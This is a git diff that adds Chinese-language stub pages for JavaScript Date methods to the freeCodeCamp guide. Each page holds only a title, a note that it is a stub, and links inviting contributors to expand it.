\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md
new file mode 100644
index 0000000000..2834e0c62c
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.gettimezoneoffset
+localeTitle: Date.prototype.gettimezoneoffset
+---
+## Date.prototype.gettimezoneoffset
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcdate/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcdate/index.md
new file mode 100644
index 0000000000..c86e546087
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCDate
+localeTitle: Date.prototype.getUTCDate
+---
+## Date.prototype.getUTCDate
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcdate/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcday/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcday/index.md
new file mode 100644
index 0000000000..718aa441d1
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcday/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCDay
+localeTitle: Date.prototype.getUTCDay
+---
+## Date.prototype.getUTCDay
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcday/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md
new file mode 100644
index 0000000000..784c0f1619
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCFullYear
+localeTitle: Date.prototype.getUTCFullYear
+---
+## Date.prototype.getUTCFullYear
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutchours/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutchours/index.md
new file mode 100644
index 0000000000..1b67126326
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutchours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCHours
+localeTitle: Date.prototype.getUTCHours
+---
+## Date.prototype.getUTCHours
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutchours/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md
new file mode 100644
index 0000000000..fa6ba75f95
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMilliseconds
+localeTitle: Date.prototype.getUTCMilliseconds
+---
+## Date.prototype.getUTCMilliseconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcmilliseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcminutes/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcminutes/index.md
new file mode 100644
index 0000000000..708c532d26
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMinutes
+localeTitle: Date.prototype.getUTCMinutes
+---
+## Date.prototype.getUTCMinutes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcminutes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcmonth/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcmonth/index.md
new file mode 100644
index 0000000000..41968230fa
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCMonth
+localeTitle: Date.prototype.getUTCMonth
+---
+## Date.prototype.getUTCMonth
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcmonth/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcseconds/index.md
new file mode 100644
index 0000000000..07282eb339
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-getutcseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCSeconds
+localeTitle: Date.prototype.getUTCSeconds
+---
+## Date.prototype.getUTCSeconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setdate/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setdate/index.md
new file mode 100644
index 0000000000..74d3ca917b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setDate
+localeTitle: Date.prototype.setDate
+---
+## Date.prototype.setDate
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setdate/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setfullyear/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setfullyear/index.md
new file mode 100644
index 0000000000..733284b3f4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setFullYear
+localeTitle: Date.prototype.setFullYear
+---
+## Date.prototype.setFullYear
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setfullyear/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-sethours/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-sethours/index.md
new file mode 100644
index 0000000000..9e9c083323
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-sethours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setHours
+localeTitle: Date.prototype.setHours
+---
+## Date.prototype.setHours
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-sethours/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md
new file mode 100644
index 0000000000..0d8a3646cf
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMilliseconds
+localeTitle: Date.prototype.setMilliseconds
+---
+## Date.prototype.setMilliseconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setmilliseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setminutes/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setminutes/index.md
new file mode 100644
index 0000000000..fe597ad249
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMinutes
+localeTitle: Date.prototype.setMinutes
+---
+## Date.prototype.setMinutes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setminutes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setmonth/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setmonth/index.md
new file mode 100644
index 0000000000..ca1c37491f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setMonth
+localeTitle: Date.prototype.setMonth
+---
+## Date.prototype.setMonth
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setmonth/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setseconds/index.md
new file mode 100644
index 0000000000..5f0f5df3a6
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setSeconds
+localeTitle: Date.prototype.setSeconds
+---
+## Date.prototype.setSeconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-settime/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-settime/index.md
new file mode 100644
index 0000000000..40284ef02e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-settime/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setTime
+localeTitle: Date.prototype.setTime
+---
+## Date.prototype.setTime
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-settime/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcdate/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcdate/index.md
new file mode 100644
index 0000000000..e1f41cbe7b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCDate
+localeTitle: Date.prototype.setUTCDate
+---
+## Date.prototype.setUTCDate
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcdate/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md
new file mode 100644
index 0000000000..62f48942fc
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCFullYear
+localeTitle: Date.prototype.setUTCFullYear
+---
+## Date.prototype.setUTCFullYear
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcfullyear/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutchours/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutchours/index.md
new file mode 100644
index 0000000000..e80c1e0716
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutchours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCHours
+localeTitle: Date.prototype.setUTCHours
+---
+## Date.prototype.setUTCHours
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutchours/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md
new file mode 100644
index 0000000000..d8b213faf7
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMilliseconds
+localeTitle: Date.prototype.setUTCMilliseconds
+---
+## Date.prototype.setUTCMilliseconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcmilliseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcminutes/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcminutes/index.md
new file mode 100644
index 0000000000..bcd7e23819
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMinutes
+localeTitle: Date.prototype.setUTCMinutes
+---
+## Date.prototype.setUTCMinutes
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcminutes/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcmonth/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcmonth/index.md
new file mode 100644
index 0000000000..0cf049dda8
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCMonth
+localeTitle: Date.prototype.setUTCMonth
+---
+## Date.prototype.setUTCMonth
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcmonth/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcseconds/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcseconds/index.md
new file mode 100644
index 0000000000..0fc8579e8b
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-setutcseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.setUTCSeconds
+localeTitle: Date.prototype.setUTCSeconds
+---
+## Date.prototype.setUTCSeconds
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-setutcseconds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-todatestring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-todatestring/index.md
new file mode 100644
index 0000000000..16ed389b01
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-todatestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toDateString
+localeTitle: Date.prototype.toDateString
+---
+## Date.prototype.toDateString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-todatestring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-toisostring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-toisostring/index.md
new file mode 100644
index 0000000000..d2af2bc201
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-toisostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toISOString
+localeTitle: Date.prototype.toISOString
+---
+## Date.prototype.toISOString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-toisostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tojson/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tojson/index.md
new file mode 100644
index 0000000000..95e11eda8e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tojson/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toJSON
+localeTitle: Date.prototype.toJSON
+---
+## Date.prototype.toJSON
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tojson/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md
new file mode 100644
index 0000000000..b5f4627586
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleDateString
+localeTitle: Date.prototype.toLocaleDateString
+---
+## Date.prototype.toLocaleDateString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaledatestring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md
new file mode 100644
index 0000000000..e2bc438ebd
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.tolocaleformat
+localeTitle: Date.prototype.tolocaleformat
+---
+## Date.prototype.tolocaleformat
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaleformat/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocalestring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocalestring/index.md
new file mode 100644
index 0000000000..7ff8e1a59e
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocalestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleString
+localeTitle: Date.prototype.toLocaleString
+---
+## Date.prototype.toLocaleString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocalestring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md
new file mode 100644
index 0000000000..51aa8fc06a
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toLocaleTimeString
+localeTitle: Date.prototype.toLocaleTimeString
+---
+## Date.prototype.toLocaleTimeString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tolocaletimestring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tosource/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tosource/index.md
new file mode 100644
index 0000000000..1b642c97c4
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toSource
+localeTitle: Date.prototype.toSource
+---
+## Date.prototype.toSource
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tosource/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tostring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tostring/index.md
new file mode 100644
index 0000000000..9b6fc60336
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toString
+localeTitle: Date.prototype.toString
+---
+## Date.prototype.toString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-tostring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-totimestring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-totimestring/index.md
new file mode 100644
index 0000000000..0fed411662
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-totimestring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toTimeString
+localeTitle: Date.prototype.toTimeString
+---
+## Date.prototype.toTimeString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-totimestring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-toutcstring/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-toutcstring/index.md
new file mode 100644
index 0000000000..4c45be8e87
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-toutcstring/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.toUTCString
+localeTitle: Date.prototype.toUTCString
+---
+## Date.prototype.toUTCString
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-toutcstring/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-valueof/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-valueof/index.md
new file mode 100644
index 0000000000..808a4b4e02
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.valueOf
+localeTitle: Date.prototype.valueOf
+---
+## Date.prototype.valueOf
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-valueof/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/date-utc/index.md b/client/src/guide/chinese/javascript/standard-objects/date/date-utc/index.md
new file mode 100644
index 0000000000..35411a13ac
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/date-utc/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Utc
+localeTitle: 日期Utc
+---
+## 日期Utc
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-utc/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/javascript/standard-objects/date/index.md b/client/src/guide/chinese/javascript/standard-objects/date/index.md
new file mode 100644
index 0000000000..dfad60a32f
--- /dev/null
+++ b/client/src/guide/chinese/javascript/standard-objects/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: 日期
+---
+## 日期
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
